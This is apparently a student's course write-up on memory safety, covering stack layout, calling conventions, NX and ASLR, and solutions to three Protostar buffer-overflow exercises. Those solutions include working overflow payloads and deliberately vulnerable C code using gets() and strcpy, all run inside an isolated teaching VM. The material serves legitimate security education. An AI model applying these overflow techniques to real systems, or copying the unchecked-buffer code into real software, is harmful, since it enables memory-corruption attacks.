Software Security & Memory Safety

2026-06-29T00:00:00.000Z · complete

Safety note. All exploit demonstrations on this page run in an isolated QEMU VM (Protostar, Debian 6, 2011) launched inside the course VM (ff-cs-rafael-perez, 192.168.80.19) under WireGuard VPN. No techniques here target systems outside that controlled environment. No private keys, passwords, or tokens appear on this page.

This session moves from the network layer (Session 2) down to the program layer: how a running process lays out memory, what happens when that layout is violated, and how modern systems defend against it. The practice environment is Protostar — a purpose-built exploit education VM that runs progressively harder binary challenges with ASLR and NX disabled so the fundamentals are visible without modern defenses obscuring them.

Part A — Research: Memory Safety

Based on the class lecture by Hamed Okhravi, Ph.D. (MIT Lincoln Laboratory) [1]

Virtual address space

Every process runs in its own virtual address space — an abstraction the OS and hardware create together. The MMU translates virtual addresses to physical ones on every memory access, giving each program the illusion of owning all RAM and providing isolation: process A cannot read process B’s memory.

Pages carry permission bits (R/W/X). Violating a permission generates an immediate segmentation fault. This mechanism is the foundation of W⊕X: no page may be both writable and executable at the same time.

Classic 32-bit Linux process layout, high to low address (hover a segment for details):

The stack is R+W but not executable. The .text segment is executable but not writable. A classic exploit attempts to violate this separation [1].

The stack grows downward

The stack is LIFO. The counterintuitive part: it grows toward lower addresses. “Top of stack” = lowest occupied address. ESP (stack pointer) always points there.

• push VAL: decrements ESP by 4, writes VAL to [ESP].
• pop REG: reads 4 bytes from [ESP] into REG, increments ESP by 4.

Stack frame and the cdecl calling convention

Each function call creates a stack frame. In x86-32 cdecl:

; Call foo(42):
push 42          ; 1. push argument(s)
call foo         ; 2. push return address → jump to foo
; Inside foo:
push ebp         ; 3. save caller's EBP
mov  ebp, esp    ; 4. EBP anchors the current frame
sub  esp, 20     ; 5. allocate space for locals (e.g. buf[16] + int)

Frame layout in memory (low to high address) — hover a segment or press simulate overflow to see a buffer overflow propagate:

ret = pop EIP. The ret instruction reads 4 bytes from [ESP] into EIP. The CPU jumps with no validation. If an attacker overwrote that value, they control where the program goes next.

Dangerous C standard library functions

C was designed in the 1970s for memory-constrained systems — without automatic bounds checking. The result: functions that write without limits.

gets() has no legitimate use. C11 removed it from the standard. Any modern compiler emits a warning on sight [1]. Protostar uses it intentionally for the exercises [2].

Why Protostar disables NX and ASLR

Protostar explicitly disables two modern defenses so that basic exploits work [2]:

• NX (Non-Executable Memory / W⊕X): on a real system, the stack is R+W but not executable — shellcode placed in the buffer cannot run. Disabled in Protostar.
• ASLR (Address Space Layout Randomization): on a real system, the stack, heap, and libraries load at random addresses on each execution — the attacker cannot hardcode 0x08048424. Disabled in Protostar.

On real systems, exploits must bypass these defenses. ROP (Return-Oriented Programming) [8] is the standard technique: instead of injecting new code, the attacker chains gadgets — short instruction sequences already present in executable memory (.text, libc) — to build arbitrary computation without writing a single new byte.

Modern mitigations

Part B — Practical exercises

Tools

QEMU [7] is an open-source machine emulator. Unlike a hypervisor (VirtualBox, VMware) that requires a host CPU with hardware virtualization support matching the guest, QEMU can emulate a completely different CPU and hardware platform entirely in software. Here it runs a 32-bit i686 machine on top of the 64-bit Ubuntu course VM — necessary because classic stack exploitation uses x86-32 calling conventions (cdecl, EBP/ESP, 4-byte return addresses) that map directly to the theory from Part A.

Protostar [2] is a live-boot ISO from exploit.education containing a Debian 6 (Squeeze) system with a curated set of intentionally vulnerable binaries at /opt/protostar/bin/. Each binary is a self-contained C program compiled without modern defenses (no stack canary, no NX, no PIE, no ASLR) and designed to teach a specific memory exploitation concept. The exercises are organized in progressive series: stack0–7 (buffer overflows and return address hijacking), format0–4 (format string vulnerabilities), heap0–3 (heap exploitation), and net0–4 (network service exploitation).

The setup for this session is a VM nested inside a VM: the course VM (ff-cs-rafael-perez, Ubuntu 24.04, x86-64) runs QEMU, which emulates the Protostar 32-bit guest. Access to Protostar is either through a QEMU graphical window inside the VNC session, or via SSH through a port-forwarded tunnel (localhost:2222 → Protostar:22).

00Environment setup: QEMU + Protostar

QEMU 8.2.2 is already available on the course VM:

Download the Protostar ISO (274 MB from GitHub releases):

wget -P ~/Downloads \
  https://github.com/ExploitEducation/Protostar/releases/download/v2.0.0/exploit-exercises-protostar-2.iso

Option A — Graphical mode via VNC (useful to verify the boot):

qemu-system-x86_64 -boot d \
  -cdrom ~/Downloads/exploit-exercises-protostar-2.iso \
  -m 512

A QEMU window opens inside the VNC session showing the Protostar boot menu. Selecting Live auto-boots within one second.

At the console login, credentials are user / user. Note: admin and root both fail.

Option B — Headless mode with SSH (recommended for the exercises — copy-paste works properly):

qemu-system-x86_64 -boot d \
  -cdrom ~/Downloads/exploit-exercises-protostar-2.iso \
  -m 512 \
  -nographic \
  -net nic \
  -net user,hostfwd=tcp::2222-:22

Then from a second terminal:

ssh -p 2222 user@localhost -oHostKeyAlgorithms=+ssh-rsa

The -oHostKeyAlgorithms=+ssh-rsa flag is required. Protostar is a 2011 VM and only offers legacy host key types (ssh-rsa, ssh-dss) that modern SSH clients disable by default. Without the flag: no matching host key type found. Their offer: ssh-rsa,ssh-dss. With it: TOFU fingerprint prompt, then the Protostar ASCII banner and shell.

Verifying the exercise binaries at /opt/protostar/bin/:

01Stack Zero — overflow a local variable

Goal: produce "you have changed the 'modified' variable" · Reference: [4]

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
    printf("you have changed the 'modified' variable\n");
  } else {
    printf("Try again?\n");
  }
}

Exploit:

python -c "print 'A' * 65" | /opt/protostar/bin/stack0
# you have changed the 'modified' variable

What happened? buffer[64] and modified are adjacent local variables on the stack. gets() writes until \n with no size check. The first 64 bytes of 'A' fill buffer[0..63]; byte 65 (0x41 ≠ 0) overwrites modified. Since modified != 0, the branch is taken.

The offset 64 matches the declared buffer size. In practice, the compiler may add alignment padding — if 65 bytes does not trigger the condition, increment until the right offset is found.

What causes a segmentation fault? A segfault occurs when the process accesses memory outside its permitted space — for example, if the overflow reaches the return address and overwrites it with an invalid address. In Stack Zero the overflow only touches modified, which is still valid stack memory, so no segfault occurs.

02Stack One — write a precise value

Goal: produce "you have correctly got the variable to the right value" — modified must equal exactly 0x61626364 · Reference: [5]

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) { errx(1, "please specify an argument\n"); }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
    printf("you have correctly got the variable to the right value\n");
  } else if(modified != 0) {
    printf("Try again, you got 0x%08x\n", modified);
  }
}

Explore — confirm the offset and byte mapping:

/opt/protostar/bin/stack1 $(python -c "print 'A'*64 + 'BBBB'")
# Try again, you got 0x42424242

0x42424242 is BBBB in hex — confirms that the 4 bytes immediately after the 64-byte padding go directly into modified and we control their exact value.

Exploit:

/opt/protostar/bin/stack1 $(python -c "print 'A'*64 + '\x64\x63\x62\x61'")
# you have correctly got the variable to the right value

What is little-endian? On x86, multi-byte integers are stored with the least-significant byte at the lowest memory address. Type any 4-byte value below to see how it lays out in memory and what the exploit string looks like:

strcpy writes left to right in memory order, so the bytes must be supplied as \x64\x63\x62\x61 — the target value is dcba in the buffer, not abcd.

03Stack Three — redirect a function pointer

Goal: produce "code flow successfully changed" by overwriting a function pointer with the address of win() · Reference: [6]

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;
  gets(buffer);

  if(fp) {
    printf("calling function pointer, jumping to %p\n", fp);
    fflush(stdout);
    fp();
  }
}

Step 1 — find the address of win():

objdump -d /opt/protostar/bin/stack3 | grep win
# 08048424 <win>:

Step 2 — build the payload with that address in little-endian:

0x08048424 in memory order: \x24\x84\x04\x08

python -c "print 'A'*64 + '\x24\x84\x04\x08'" | /opt/protostar/bin/stack3
# calling function pointer, jumping to 0x08048424
# code flow successfully changed

What happened exactly? The overflow wrote the address of win() into fp. When the program executes fp(), the CPU jumps to 0x08048424. The program first prints calling function pointer... (confirming the value of fp), then win() prints the success message.

This is the key conceptual step: we are no longer changing a data value — we are changing what instruction the CPU executes next. The CPU does not know whether those bytes were placed by the original program or by an attacker. It executes whatever EIP points to, unconditionally.

Why arbitrary bytes require piping through Python: characters like \x04 and \x08 have no keyboard equivalent. Python generates the raw byte string and pipes it via stdin — the only reliable way to inject non-printable bytes in a shell session.

All three exercises solved in a single SSH session:

Reflection

Most of my daily work runs several layers above what this session covered: Python, FastAPI, React, databases, Docker. In those environments buffer overflows do not exist — the runtime makes them impossible. But that also means I had never had to think about what is actually happening in memory when a function is called. The three Protostar exercises changed that. Seeing \x24\x84\x04\x08 redirect the CPU to win() is not abstract: it is literally four bytes telling the processor which instruction to execute next. The CPU does not know whether those bytes were placed by the original program or by an attacker — it executes whatever EIP points to, without asking.

What stayed with me most is that the vulnerability is not in the overflow — it is in C’s implicit contract. gets() is not a bug: it is a function that does exactly what its name suggests, but it assumes the programmer knows how much space is available. That assumption worked in the 1970s with small teams and constrained memory; it does not scale to millions of lines of code written by many authors. Python, Java, and other modern languages solved this with automatic bounds checking — but the ML frameworks I use (PyTorch, TensorFlow, NumPy) have C/C++ backends with native extensions that inherit exactly this problem. A vulnerability in a C extension that loads a model or processes tensors can be exploited with the same principles as stack0.

As an educator who teaches systems to engineering students, the progression across the three exercises strikes me as excellent curriculum design: Stack Zero shows that the memory layout is linear and predictable; Stack One introduces little-endian byte order and precise value control; Stack Three makes the conceptual leap — we are no longer changing data, we are changing what code the processor runs. That sequence builds intuition without requiring prior assembly knowledge. It is the kind of exercise I would want my students to complete before their first security course: it makes tangible something that sounds abstract in textbooks.

Finally, the architecture of the practice environment itself was a lesson in defense in depth: Protostar explicitly disables NX and ASLR so that basic exploits work — on a real system with those defenses active, Stack Three would require ROP instead of a hardcoded address, and Stack Zero would abort on the stack canary before reaching the return address. The layers matter: no single defense is sufficient, but each one raises the cost of an attack.

Tools & references

1. Memory Safety — Lecture Notes · Hamed Okhravi, Ph.D. (MIT Lincoln Laboratory) · Fab Futures Cybersecurity 2026
2. exploit.education — Protostar · practice environment; ASLR and NX intentionally disabled
3. Smashing The Stack For Fun And Profit · Aleph One · Phrack Magazine Issue 49 (1996) — classic paper that formalized the buffer overflow
4. Protostar — Stack Zero · exploit.education
5. Protostar — Stack One · exploit.education
6. Protostar — Stack Three · exploit.education
7. QEMU · emulator used to run Protostar inside the course VM
8. The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls · Hovav Shacham · CCS 2007 — foundational ROP paper
9. LiveOverflow — Binary Exploitation / Memory Corruption · recommended video introduction